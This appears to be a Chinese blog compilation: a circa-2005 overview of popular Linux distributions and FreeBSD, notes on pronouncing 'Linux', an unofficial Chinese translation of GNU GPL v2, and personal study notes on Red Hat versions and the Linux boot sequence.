Linux最早由Linus Torvalds在1991年开始编写。在这期间,Richard Stallman创建了GNU组织,并不断的编写创建GNU程序(程序的许可方式均为GPL: General Public License)。在不断的有程序员和开发者加入到GNU组织中后,变造就了今天我们所看到的Linux,或称GNU/Linux。

什么是Linux发行版?

正如之前所说的,Linux只是一个内核。然而,一个完整的操作系统不仅仅是内核而已。所以,许多个人、组织和企业,开发了基于GNU/Linux的Linux发行版。这其中最著名的便是Red Hat公司的Red Hat系列以及社区(community)组织的Debian系列。

下面我就简单得介绍一下目前比较著名、流行的Linux发行版本。部分资料来源:DistroWatch.com

Mandriva


Mandriva原名Mandrake,最早由Gaël Duval创建并在1998年7月发布。记得前两年国内刚开始普及Linux时,Mandrake非常流行。说起Mandrake的历史,其实最早Mandrake的开发者是基于Redhat进行开发的。Redhat默认采用GNOME桌面系统,而Mandrake将之改为KDE。而由于当时的Linux普遍比较难安装,不适合第一次接触Linux的新手,所以Mandrake还简化了安装系统。我想这也是当时Mandrake在国内如此红火的原因之一。Mandrake在易用性方面的确是下了不少功夫,包括默认情况下的硬件检测等。

Mandrake的开发完全透明化,包括“cooker”。当系统有了新的测试版本后,便可以在cooker上找到。之前Mandrake的新版本的发布速度很快,但从9.0之后便开始减缓。估计是希望能够延长版本的生命力以确保稳定和安全性。

优点:友好的操作界面,图形配置工具,庞大的社区技术支持,NTFS分区大小变更
缺点:部分版本bug较多,最新版本只先发布给Mandrake俱乐部的成员
软件包管理系统:urpmi (RPM)
免费下载:FTP即时发布下载,ISO在版本发布后数星期内提供
官方主页:http://www.mandrivalinux.com/

Red Hat


国内,乃至是全世界的Linux用户所最熟悉、最耳闻能详的发行版想必就是Red Hat了。Red Hat最早由Bob Young和Marc Ewing在1995年创建。而公司在最近才开始真正步入盈利时代,归功于收费的Red Hat Enterprise Linux(RHEL,Red Hat的企业版)。而正统的Red Hat版本早已停止技术支持,最后一版是Red Hat 9.0。于是,目前Red Hat分为两个系列:由Red Hat公司提供收费技术支持和更新的Red Hat Enterprise Linux,以及由社区开发的免费的Fedora Core。Fedora Core 1发布于2003年年末,而FC的定位便是桌面用户。FC提供了最新的软件包,同时,它的版本更新周期也非常短,仅六个月。目前最新版本为FC 3,而FC4也预定将于今年6月发布。这也是为什么服务器上一般不推荐采用Fedora Core。

适用于服务器的版本是Red Hat Enterprise Linux,而由于这是个收费的操作系统。于是,国内外许多企业或空间商选择CentOS。CentOS可以算是RHEL的克隆版,但它最大的好处是免费!菜鸟油目前的服务器便采用的CentOS 3.4。

优点:拥有数量庞大的用户,优秀的社区技术支持,许多创新
缺点:免费版(Fedora Core)版本生命周期太短,多媒体支持不佳
软件包管理系统:up2date (RPM), YUM (RPM)
免费下载:是
官方主页:http://www.redhat.com/

SUSE


SUSE是德国最著名的Linux发行版,在全世界范围中也享有较高的声誉。SUSE自主开发的软件包管理系统YaST也大受好评。SUSE于2003年年末被Novell收购。

SUSE之后的发布显得比较混乱,比如9.0版本是收费的,而10.0版本(也许由于各种压力)又免费发布。这使得一部分用户感到困惑,也转而使用其它发行版本。但是,瑕不掩瑜,SUSE仍然是一个非常专业、优秀的发行版。

优点:专业,易用的YaST软件包管理系统
缺点:FTP发布通常要比零售版晚1~3个月
软件包管理系统:YaST (RPM), 第三方APT (RPM) 软件库(repository)
免费下载:取决于版本
官方主页:http://www.suse.com/

Debian GNU/Linux


Debian是菜鸟油服务器之前所采用的操作系统。Debian最早由Ian Murdock于1993年创建。可以算是迄今为止,最遵循GNU规范的Linux系统。Debian系统分为三个版本分支(branch):stable, testing 和 unstable。截至2005年5月,这三个版本分支分别对应的具体版本为:Woody, Sarge 和 Sid。其中,unstable为最新的测试版本,其中包括最新的软件包,但是也有相对较多的bug,适合桌面用户。testing的版本都经过unstable中的测试,相对较为稳定,也支持了不少新技术(比如SMP等)。而Woody一般只用于服务器,上面的软件包大部分都比较过时,但是稳定和安全性都非常的高。菜鸟油之前所采用的是Debian Sarge。

为何有如此多的用户痴迷于Debian呢(包括笔者在内)?apt-get / dpkg是原因之一。dpkg是Debian系列特有的软件包管理工具,它被誉为所有Linux软件包管理工具(比如RPM)最强大的!配合apt-get,在Debian上安装、升级、删除和管理软件变得异常容易。许多Debian的用户都开玩笑的说,Debian将他们养懒了,因为只要简单得敲一下”apt-get upgrade && apt-get update”,机器上所有的软件就会自动更新了……

优点:遵循GNU规范,100%免费,优秀的网络和社区资源,强大的apt-get
缺点:安装相对不易,stable分支的软件极度过时
软件包管理系统:APT (DEB)
免费下载:是
官方主页:http://www.debian.org/

Ubuntu


笔者的桌面电脑便使用的Ubuntu。依照笔者的理解,简单而言,Ubuntu就是一个拥有Debian所有的优点,以及自己所加强的优点的近乎完美的Linux操作系统。 Ubuntu是一个相对较新的发行版,但是,它的出现可能改变了许多潜在用户对Linux的看法。也许,从前人们会认为Linux难以安装、难以使用,但是,Ubuntu出现后,这些都成为了历史。Ubuntu基于Debian Sid,所以这也就是笔者所说的,Ubuntu拥有Debian的所有优点,包括apt-get。然而,不仅如此而已,Ubuntu默认采用的GNOME桌面系统也将Ubuntu的界面装饰的简易而不失华丽。当然,如果你是一个KDE的拥护者的话,Kubuntu同样适合你!

Ubuntu的安装非常的人性化,只要按照提示一步一步进行,安装和Windows同样简便!并且,Ubuntu被誉为对硬件支持最好最全面的Linux发行版之一,许多在其他发行版上无法使用,或者默认配置时无法使用的硬件,在Ubuntu上轻松搞定。并且,Ubuntu采用自行加强的内核(kernel),安全性方面更上一层楼。并且,Ubuntu默认不能直接root登陆,必须从第一个创建的用户通过su或sudo来获取root权限(这也许不太方便,但无疑增加了安全性,避免用户由于粗心而损坏系统)。Ubuntu的版本周期为六个月,弥补了Debian更新缓慢的不足。

优点:人气颇高的论坛提供优秀的资源和技术支持,固定的版本更新周期和技术支持,可从Debian Woody直接升级
缺点:还未建立成熟的商业模式
软件包管理系统:APT (DEB)
免费下载:是
官方主页:http://www.ubuntulinux.org/

Gentoo


Gentoo最初由Daniel Robbins(前Stampede Linux和FreeBSD的开发者之一)创建。由于开发者对FreeBSD的熟识,所以Gentoo拥有媲美FreeBSD的广受美誉的ports系统——portage。(Ports和Portage都是用于在线更新软件的系统,类似apt-get,但还是有很大不同)Gentoo的首个稳定版本发布于2002年。

Gentoo的出名是因为其高度的自定制性:因为它是一个基于源代码的(source-based)发行版。尽管安装时可以选择预先编译好的软件包,但是大部分使用Gentoo的用户都选择自己手动编译。这也是为什么Gentoo适合比较有Linux使用经验的老手使用的原因。但是要注意的是,由于编译软件需要消耗大量的时间,所以如果你所有的软件都自己编译,并安装KDE桌面系统等比较大的软件包,可能需要几天时间才能编译完……

优点:高度的可定制性,完整的使用手册,媲美Ports的Portage系统,适合“臭美”的高手使用^^
缺点:编译耗时多,安装缓慢
软件包管理系统:Portage (SRC)
免费下载:是
官方主页:http://www.gentoo.org/

Slackware


Slackware由Patrick Volkerding创建于1992年。算起来应当是历史最悠久的Linux发行版。曾经Slackware非常的流行,但是当Linux越来越普及,用户的技术层面越来越广(更多的新手)后,Slackware渐渐的被新来的人们所遗忘。在其他主流发行版强调易用性的时候,Slackware依然固执的追求最原始的效率——所有的配置均还是要通过配置文件来进行。

尽管如此,Slackware仍然深入人心(大部分都是比较有经验的Linux老手)。Slackware稳定、安全,所以仍然有大批的忠实用户。由于Slackware尽量采用原版的软件包而不进行任何修改,所以制造新bug的几率便低了很多。Slackware的版本更新周期较长(大约1年),但是新版本的软件仍然不间断的提供给用户下载。

优点:非常稳定、安全,高度坚持UNIX的规范
缺点:所有的配置均通过编辑文件来进行,自动硬件检测能力较差
软件包管理系统:Slackware Package Management (TGZ)
免费下载:是
官方主页:http://www.slackware.com/

Knoppix


由德国的Klaus Knopper开发的Knoppix,是一个基于Debian的发行版。Knoppix严格算起来是一款LiveCD Linux,所谓的LiveCD就是整个操作系统都在一张光盘上,只要开机从光盘启动,就能拥有一个完整的Linux系统!无需安装!当然,Knoppix也能够非常轻松的安装到硬盘上。其强大的硬件检测能力、系统修复能力、即时压缩传输技术,都令人大加称赞。可以说,在LiveCD界,Knoppix是无人能及的!

优点:无需安装可直接运行于CD上,优秀的硬件检测能力,可作为系统急救盘使用
缺点:LiveCD由于光盘的数据读取速度限制导致性能大幅下降
软件包管理系统:APT (DEB)
免费下载:是
官方主页:http://www.knoppix.com/

MEPIS


MEPIS由Warren Woodford在2003年建立。MEPIS虽然刚建立不久,但是迅速的传播在Linux用户间。简单来说,MEPIS是一个集合了Debian Sid和Knoppix的产物。用户即能将之当作LiveCD使用,也能使用常规的图形界面进行安装。

MEPIS默认集成安装了Java Runtime Environment、Flash插件、nVidia加速驱动等许多常用的程序。用户可以非常轻松的安装完系统后就直接开始使用,而不用到处寻找资料如何下载、如何安装、如何配置这些软件。这不仅给Linux新手带来了便捷,也给老手们节约了相当多的时间。

优点:LiveCD与常规安装两用,优秀的硬件检测能力,预装了许多实用的软件
缺点:建立时间不长,默认的界面有些寒酸
软件包管理系统:APT (DEB)
免费下载:是
官方主页:http://www.mepis.org/

Xandros


Xandros建立在已经成为历史的Corel Linux之上。当初Corel Linux的公司由于财政上的困难,被迫终止了Corel Linux的开发,而Xandros适时的将Corel Linux部门买下,于2002年10月推出全新的Xandros Desktop。

Xandros的卖点在于极其简单的安装和使用,所以它的市场定位是那些没有任何Linux使用经验的新手,或是习惯使用Windows的用户。Xandros的标准版和增强版都是商业软件,分别售价$40和$99美元。不过你仍然可以在这里下载到免费的公开发行版。

优点:适合完全没有经验的新手,安装完以后就能立即投入使用,自带非常不错的工具
缺点:商业软件
软件包管理系统:Xandros Networks (DEB) 或 APT (DEB) (可选,但不提供技术支持)
免费下载:公开发行版
官方主页:http://www.xandros.com/

FreeBSD


首先要强调的是:FreeBSD不是一个Linux系统! 可是,为什么笔者要介绍FreeBSD呢?因为FreeBSD的用户也相当多,其许多特性都与Linux相类似。事实上,Linux和BSD(Berkeley Software Distribution)均是UNIX的演化分支。并且,Linux中相当多的特性和功能(比如用于配置DNS的Bind软件)都是取自于BSD的。而FreeBSD便是BSD家族中最出名,用户数量最多的一个发行版。MEZOC之前所采用的便是FreeBSD系统。

FreeBSD建立于1993年,拥有相当长的历史。FreeBSD拥有两个分支:stable和current。顾名思义,stable是稳定版,而current则是添加了新技术的测试版。另外,FreeBSD会不定期的发布新的版本,称为RELEASE,stable和current均有自己的RELEASE版本。比如4.11-RELEASE和5.3-RELEASE,请注意,这并不代表后者比前者的版本新。这仅仅代表前者(数字小的版本)是stable版本,后者(数字大的版本)是current版本。

FreeBSD除了作为服务器系统外,也适合桌面用户。不过,考虑到软件方面的兼容性,一般用户选择FreeBSD作为桌面系统不是很明智。作为服务器而言,FreeBSD是相当优秀的。曾经有人说过,同样的服务器硬件配置,运行同样的一个vBulletin论坛,FreeBSD所用的资源要比Linux少。这也是为什么许多空间商极力推崇FreeBSD的原因。

优点:速度快,非常稳定,优秀的使用手册,Ports系统
缺点:比起Linux而言对硬件的支持较差,对于桌面系统而言软件的兼容性是个问题
软件包管理系统:Ports (TBZ)
免费下载:是
官方主页:http://www.freebsd.org/

如果在常用的Linux中分类,我想应该有两个比较大的方向,商业版本和非商业版本。上面的版本中,Redhat,Suse,Mandrake,Redflag,Opendesktop,Cosix,Rays都是中内外的商业版本。像Magic Linux,Debian,Hiweed,Gentoo等则属于非商业版本。从另一个大方向分,可以分为Redhat系列和Debian系列(这样说很不精确,也没有别人这样说过,但大致上可以这么说),像Magic Linux,Suse,Mandrake,Redflag,Opendesktop,Cosix都采用了Redhat的RPM包管理方式,像Hiweed,Rays采用了Debian的包管理方式,对于网络良好的用户,此包管理方式有得天独厚的优势。Gentoo也采用了Debian类似的包管理方式。现在以Redhat系统为主,但相信随着网络的发展,Debian管理方式会吸引更多用户。对初级用户,如果选择两个系列,我分别推荐Redhat系列的Magic Linux和Debian系列的Rays,对Linux更加了解以后你们有能力去选择更适合自己的版本。

以上介绍了目前较为流行的各Linux发行版本,希望对大家有所帮助。同时,笔者也希望越来越多的朋友投入到Linux的大家庭中!\^O^/

linux的发音

linux的发音

linux发音是五花八门版本颇多,就笔者见到和听到的不下10种。对这种情况,据说,linux的创始人Linus(Linus Torvalds)针对读音分歧较多的情况,特意录了一段他对Linux的发音。这段录音的内容是这样的:“Hello,this is Linus Torvalds and I pronounce Linux as Linux”。我听出来的是/'li:nэks/,综合网上和linus自己的读音,概括出几个自认为最合适也最通用的读法:/Li'nQks/(“里那克斯”)或/'li:nэks/(“里呢克斯”)或/Li'nu:ks?/(“里纽克斯”)。这几个应该是谁都听得懂的。至于哪个比较正宗,当然是linus的原音。但事实上似乎使用linus那种读发的人并不在多数。

提示:上面的这段录音可以在RedHat中调试声卡的时候可以听到,如果你的声卡调试成功,系统会播放上面一段声音以示成功。

GNU 通用公共许可证

1. GNU 通用公共许可证
2. 一九九一年六月 第二版
(原文出处: http://www.gnu.org/copyleft/gpl.html)
版权所有 (C) 1989,1991 Free Software Foundation, Inc.59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
允许每个人复制和发布这一许可证原始文件的副本,但绝对不允许对它进行任何修改。
3. 声明
This is an unofficial translation of the GNU General Public License into Chinese. It was not published by the Free Software Foundation, and does not legally state the distribution terms for software that uses the GNU GPL--only the original English text of the GNU GPL does that. However, we hope that this translation will help Chinese speakers understand the GNU GPL better.
这是一份 GNU 通用公共许可证非正式的中文翻译。它不是自由软件基金会所发布,并且不能适用于使用 GNU GPL 的软件 ── 只有 GNU GPL 英文原文的版本才行。然而,我们希望这份翻译能帮助中文的使用者更了解 GNU GPL。
4. 序言
 大多数软件许可证的用意在于剥夺您共享和修改软件的自由。相反的,GNU 通用公共许可证力图保证您共享和修改自由软件的自由 ── 保证自由软件对所有使用者都是自由的。GNU GPL 适用于大多数自由软件基金会的软件,以及任何因信任而采用 GNU GPL 的作者所开发的软件。(有些自由软件基金会软件受 GNU 函式库通用许可证的保护)。您也可以将它用到您的程序中。
 当我们谈到自由软件 (free software) 时,我们指的是自由而不是价格。我们把 GNU 通用公共许可证设计成您的保障,让您保有发布自由软件的自由(您可以自由决定是否要对此项服务收取费用);确保您能收到程序原始码或者在您需要时能得到它;确保您能修改软件或将它的一部分用于新的自由软件;而且还确保您知道您拥有这些权利。
 为了保护您的权利,我们需要作出规定:禁止任何人剥夺您的权利,或者要求您放弃这些权利。如果您修改了自由软件或者发布了软件的副本,这些规定就转化为您的责任。
 例如,如果您发布这样一个程序的副本,不管是免费的还是收费的,您必须将您具有的一切权利给予您的接受者;您必须确认他们能收到或得到原始程序代码;并且将这些条款给他们看,使他们知道他们有这样的权利。
 我们采取两项措施来保护您的权利:
1. 用版权来保护软件。
2. 提供您许可证,赋予您复制,发布和修改这些软件的法律许可。
 同样,为了保护每个作者和我们自己,我们需要清楚地让每个人明白,自由软件没有担保 (no warranty)。如果由于某人修改了软件,并继续加以传播,我们需要它的接受者明白:他们所得到的并不是原来的自由软件。由其它人引入的任何问题,不应损害原作者的声誉。
 最后,由于任何自由软件不断受到软件专利的威胁,故我们希望避免这样的风险。如果自由软件的再发布者以个人名义获得专利许可证,也就等同将软件变为私有。为防止这一点,我们必须明确声明: 任何专利必须以允许每个人自由使用为前提,否则就不准许有专利。
 下面是有关复制、发布和修改的确切的条款和条件。
5. GNU 通用公共许可证有关复制,发布和修改的条款和条件
0. 凡是版权所有者在其程序和作品中声明其程序和作品可以在 GNU GPL 条款的约束下发布,这样的程序或作品都受到本许可证约束。下面提到的 "程序" 指的是任何这样的程序或作品。而 "程序的衍生作品" 指的是这样的程序或者版权法认定下的衍生作品,也就是说包含此程序或程序的一部分的套件,可以是原封不动的,或经过修改的,和/或翻译成其它语言的 (程序)。(在下文中,"修改" 一词的涵义一律包含翻译作品。) 每个许可证接受人 (licensee) 用 "您" 来称呼。
 本许可证条款不适用于复制,发布和修改以外的行为。这些行为超出这些条款的范围。执行本程序的行为不受条款的限制。而程序的输出只有在其内容构成本程序的衍生作品 (并非只是因为该输出由本程序所产生) 时,这一条款才适用。至于程序的输出内容是否构成本程序的衍生作品,则取决于程序具体的用途。
1. 只要您在每一程序副本上明显和恰当地宣告版权声明和不承担担保的声明,并原封不动保持此许可证的声明和没有担保的声明,并将此许可证连同程序一起给其它每位程序接受者,您就可以用任何媒体复制和发布您收到的程序的原始码。
 您可以为转让副本的实际行动收取一定费用。您也可以自由决定是否以提供担保来换取一定的费用。
2. 您可以修改程序的一个或几个副本或程序的任何部分,以此形成基于这些程序的衍生作品。只要您同时满足下面的所有条件,您就可以按前面第一款的要求复制和发布这一经过修改的程序或作品。
您必须在修改过的档案中附有明显的说明:您修改了此一档案及任何修改的日期。
您必须让您发布或出版的作品,包括本程序的全部或一部分,或内含本程序的全部或部分所衍生的作品,允许第三方在此许可证条款下使用,并且不得因为此项授权行为而收费。
如果修改的程序在执行时以交谈方式读取命令,您必须使它在开始进入一般的交谈使用方式时打印或显示声明:包括适当的版权声明和没有担保的声明(或者您提供担保的声明);使用者可以按此许可证条款重新发布程序的声明;并告诉使用者如何看到这一许可证的副本。 (例外的情况:如果原始程序以交谈方式工作,但它通常并不打印这样的声明,那么您基于此程序的作品也就不用打印声明)。
 这些要求适用于整个修改过的作品。如果能够确定作品的一部分并非本程序的衍生产品,且可以合理地单独考虑并将它与原作品分开的话,则当您将它作为独立的作品发布时,它不受此许可证和其条款的约束。但是当您将这部分与基于本程序的作品一同发布时,则整个套件将受到本许可证条款约束,因为本许可证对于其它许可证持有人的授权扩大到整个产品,也就是套件的每个部分,不管它是谁写的。
 因此,本条款的意图不在于剥夺您对完全由您自身完成作品的权利,而是履行权利来控制基于本程序的集体作品或衍生作品的发布。
 此外,将与本程序无关的作品和本程序 (或本程序的衍生作品) 一起放在贮存媒体或发布媒体的同一卷上,并不导致将其它作品置于此许可证的约束范围之内。
3. 您可以以目标码或可执行形式复制或发布程序 (或符合第 2 款,本程序的衍生作品),只要您遵守前面的第 1、2 款,并同时满足下列三条中的任一条。
在通常用作软件交换的媒体上,和目标码一起附有机器可读的完整的本程序原始码。这些原始码的发布应符合上面第 1,2 款的要求。或者
在通常用作软件交换的媒体上,和目标码一起,附上书面报价,提供替第三方复制原始码的服务。该书面报价有效期不得少于 3 年,费用不得超过完成原程序发布的实际成本,原始码的发布应符合上面的第 1,2 款的要求。或者
和目标码一起,附有您收到的发布原码的报价信息。 (这一条款只适用于非商业性发布,而且您只收到程序的目标码或可执行码,和按 b 款要求提供的报价)
 作品的原始码指的是对作品进行修改最优先择取的形式。对可执行的作品而言,完整的原始码套件包括:所有模块的所有原始程序,加上有关的接口的定义,加上控制可执行作品的安装和编译的 script。至于那些通常伴随着执行本程序所需的操作系统组件 (如编译器、核心等) 而发布的软件 (不论是原始码或可执行码),则不在本许可证要求以程序原始码形式伴随发布之列,除非它是本程序的一部分。
 如果可执行码或目标码是以指定复制地点的方式来发布,那么在同一地点提供等价的原始码复制服务也可以算作原始码的发布,然而第三方并不需因此而负有必与目标码一起复制原始码的义务。
4. 除了本许可证明白声明的方式之外, 您不能复制,修改,转发许可证和发布程序。任何试图用其它方式复制,修改,转发许可证和发布程序是无效的,而且将自动结束许可证赋予您的权利。然而,对那些从您那里按许可证条款得到副本和权利的人们,只要他们继续全面履行条款,许可证赋予他们的权利仍然有效。
5. 您没有在许可证上签字,因而您没有必要一定接受此一许可证。然而,没有任何其它东西赋予您修改和发布程序及其衍生作品的权利。如果您不接受许可证,这些行为是法律禁止的。因此,如果您修改或发布程序 (或本程序的衍生作品) ,您就表明您接受这一许可证以及它的所有有关复制、发布和修改程序或基于程序的作品的条款和条件。
6. 每当您重新发布程序 (或任何程序的衍生作品) 时,接受者自动从原始许可证颁发者那里接到受这些条款和条件支配的复制、发布或修改本程序的许可。您不可以增加任何条款来进一步限制本许可证赋予他们的权利。您也没有强求第三方履行许可证条款的义务。
7. 如果由于法院判决或违反专利的指控或任何其它原因 (不限于专利问题) 的结果,使得强加于您的条件 (不管是法院判决,协议或其它) 和许可证的条件有冲突时,他们也不能令您背离许可证的条款。在您不能同时满足本许可证规定的义务及其它相关的义务来发布程序时,则结果您只能够根本不发布程序。例如,如果某一专利许可证不允许所有直接或间接从您那里接受副本的人们,在不付专利费的情况下重新发布程序,唯一能同时满足两方面要求的办法是停止发布程序。
 如果本条款的任何部分在特定的环境下无效或无法实施,就使用条款的其余部分,并将这部分条款作为整体用于其它环境。
 本条款的目的不在于引诱您侵犯专利或其它财产权的要求,或争论这种要求的有效性。本条款的主要目的在于保护自由软件发布系统的完整性。它是通过公共许可证的应用来实现的。许多人已依赖同是出自此系统的应用程序,经由此系统发布大量自由软件而做出慷慨的供献。作者/捐献者有权决定他/她是否通过任何其它系统发布软件,许可证接受者不能强迫作者/捐献者做某种特定的选择。
我们相信许可证其它部分已涵盖本节所述状况,本节目的只在更明确说明许可证其余部分可能产生的结果。
8. 如果由于专利或者由于有版权的接口问题使程序在某些国家的发布和使用受到限制,则以本许可证发布程序的原始作者可以增加发布地区的限制条款,将这些国家明确排除在外,并在这些国家以外的地区发布程序。在这种情况下,这些限制条款如同写入本许可证一样,成为许可证的条款。
9. 自由软件基金会可能随时出版通用公共许可证的修改版或新版。新版和当前的版本在精神上保持一致,但在细节上可能有出入,以处理新的问题与状况。
 每一版本都有不同的版本号。如果程序指定可适用的许可证版本号以及 "任何更新的版本" ,您有权选择遵循指定的版本或自由软件基金会以后出版的新版本。如果程序未指定许可证版本,您可选择自由软件基金会已经出版的任何版本。
10. 如果您愿意将程序的一部分结合到其它自由程序中,而它们的发布条件不同,请写信给作者,要求准予使用。如果是自由软件基金会加以版权保护的软件,请写信给自由软件基金会,我们有时会作为例外的情况处理。我们的决定受两个主要目标的指导,这两个主要目标是:我们的自由软件的衍生作品继续保持自由状态,以及从整体上促进软件的共享和重复利用。
6. 没有担保
11. 由于程序准予免费使用,在适用法准许的范围内,对程序没有担保。除非另有书面说明,版权所有者和/或其它提供程序的人们 "一样" 不提供任何类型的担保,不论是明确的,还是隐含的,包括但不限于可销售和适合特定用途的隐含保证。全部的风险,如程序的质量和性能问题都由您来承担。如果程序出现缺陷,您应当承担所有必要的服务、修复和改正的费用。
12. 除非适用法或书面协议的要求,在任何情况下,任何版权所有者或任何按许可证条款修改和发布程序的人们都不对您的损失负有任何责任。包括由于使用或不能使用程序引起的任何一般的、特殊的、偶然发生的或重大的损失 (包括但不限于数据的损失,或者数据变得不精确,或者您或第三方的持续的损失,或者程序不能和其它程序协调运行等) 。即使版权所有者和其它人已被告知这种损失的可能性也不例外。
7. 条款结束
(译注: 以下不是法律条文, 只是要教一般的程序设计师如何使用 GNU GPL)
8. 如何将这些条款用到您的新程序
 如果您开发了新程序,而且您需要它得到公众最大限度的利用,要做到这一点的最好办法是将它施以 GNU GPL,使得每个人都能循此条款来修改和重新发布你写的软件。
 为了做到这一点,请将程序附上下列声明。最安全的方式是将它放在每个原始码档案的开头,以便最有效地传递没有担保的信息。每个文件至少应有 "版权所有" 行以及在什么地方能看到声明全文的说明。
用一行空间描述程序的名称和它的用途版权所有 (C) 19XX 作者姓名
 本程序是自由软件,您可以遵照自由软件基金会 (Free Software Foundation) 出版的 GNU 通用公共许可证条款 (GNU General Public License) 第二版来修改和重新发布这一程序,或者自由选择使用任何更新的版本。
 发布这一程序的目的是希望它有用,但没有任何担保。甚至没有适合特定目的而隐含的担保。更详细的情况请参阅 GNU 通用公共许可证。
 您应该已经和程序一起收到一份 GNU 通用公共许可证的副本。如果还没有,写信给:
Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 此外还应加上如何和您保持联系的信息。
 如果程序以交谈方式进行工作,当它开始进入交互方式工作时,应输出类似下面的简短声明:
Gnomovision 第 69 版,版权所有 (C) 19XX,作者姓名, Gnomovision 绝对没有担保。要知道详细情况,请输入 "show w"。 这是自由软件,欢迎您遵守一定的条件重新发布它,要知道详细情况, 请输入 "show c"。
 假设的命令 "show w" 和 "show c" 应显示通用公共许可证的相应条款。当然,您使用的命令名称可以不同于 "show w" 和 "show c" 。根据您的程序的具体情况,也可以用选单或鼠标来显示这些条款。
 如果需要,您应该取得您的上司 (如果您是程序员) 或您的学校签署放弃程序版权的声明。下面只是一个例子,您应该改变相应的名称:
Yoyodyne 公司以此方式放弃 James Hacker 所写的 Gnomovision 程序的全部版权利益。
Ty coon 签名,1989.4.1Ty coon 副总裁
 这一许可证不允许您将程序并入私有程序。如果您的程序是一个子函式库。您可能会认为让它和私有的应用程序连接会更有用。如果您想这么做,请使用 GNU 函式库通用公共许可证代替本许可证。
CLDP 译注
本文的原始翻译者已不可考(如果有人知道,请告诉我)。译文经过下列人士的修改与润饰(依先后顺序):
霍东灵
谢东翰
洪朝贵
黄志伟

出处:http://www.linux.org.tw

2007年2月24日星期六

郁闷的问题---redhat内核版本与销售版本的对应

看到一片文章说支持linux的厂商正在制定标准以应对日益混乱的linux版本造成的市场萎缩,早该标准化了,当年的Linus Torvalds就应该制定标准,看看现在linux版本乱的,唉~
我都没有搞清楚自己用的是什么版本只知道用uname -a查出内核是redhat9 2.4.20-8,
上网查了半天发现有个文件有一点点帮助
more /etc/redhat-release 显示Red Hat Linux release 9 (Shrike)

复习linux的启动过程

今天复习linux的启动过程,自我感觉记忆力大不如以前了,唉~都是IT惹的祸...windows用习惯了渐渐地连OS是怎么引导的都不是很清楚了,真实悲哀...

1.按下电源
开始bootstrap (俗语:“自己脱掉自己的靴子”也就是说在没有外界的帮助下完成所有工作)

2.装载引导扇区
读取ROM BIOS并根据设置初始化硬件参数,然后将启动设备的整个硬盘第一个引导扇区MBR加载到内存并把控制权转它(注:MBR包含一个小的装入程序和一个分区表),由MBR读取活动分区的引导扇区(如果LILO装在这里的话)

3.装载系统内核
系统根据lilo.conf里的设置加载相应的系统内核
kernel /vmlinuz-2.4.20-8 ro root=LABEL=/
*init和single参数
使用init参数直接告诉内核去启动另外一个进程(比如/bin/sh)而不是/sbin/init
使用single参数是将single直接传递给/sbin/init
引导计算机的人必须输入密码但是如果lilo.conf中没有设置password和restrict选项就可以对shell任意操作喽

4.硬件设备驱动初始化
用dmesgmore查看详情
4.1 内核版本号的显示
屏幕会显示内核的版本号
4.2 控制台的初始化
屏幕会显示 Console:colour VGA+ 80x25
4.3 速度指数和内存计算
4.4 检查CPU
4.5 PCI总线的探测和初始化
4.6 TCP/IP的初始化
4.7 串口的初始化
4.8 磁盘驱动器的初始化

5. 装载linux的服务---init进程
init进程号为1,根据/etc/inittab配置文件的参数启动系统服务

6.启动脚本
6.1 init先启动系统初始化脚本/etc/rc.d/rc.sysinit
init根据不同的runlevel传递不同的参数给系统初始化脚本,如l3传递3给rc.sysinit
**************************
*来看看rc.sysinit都作了什么
*--用swapon命令初始化交换空间
*--用fsck检查文件系统的结构和组成
*--装载/proc文件系统并重新装载根文件系统/为可读写
*--装载内核模块并结束运行
***************************
6.2 init开始执行该runlevel的脚本
init先运行控制脚本/etc/rc.d/rc并向其传递runlevel参数3,然后该控制脚本去运行该runlevel对应的脚本文件/etc/rcn.d 如rc3.d(其实在它们是关联到/etc/rc.d/init.d里面的相应的真实脚本)。注意S开头的是启动脚本K开头的是关闭脚本,它们都是按名字顺序执行的。
6.3 init再执行脚本/etc/rc.d/rc.local

7.装载可装载模块
这些可装载模块常常用添加设备的驱动程序,通常来说多数硬件可以在系统初始化时被内核正确设置但有时也会需要装载特殊设备的驱动,用lsmod可以检查系统已经装载的模块,用modprobe可以手动装载模块,用rmmod可以手动卸载模块

至此,linux引导完成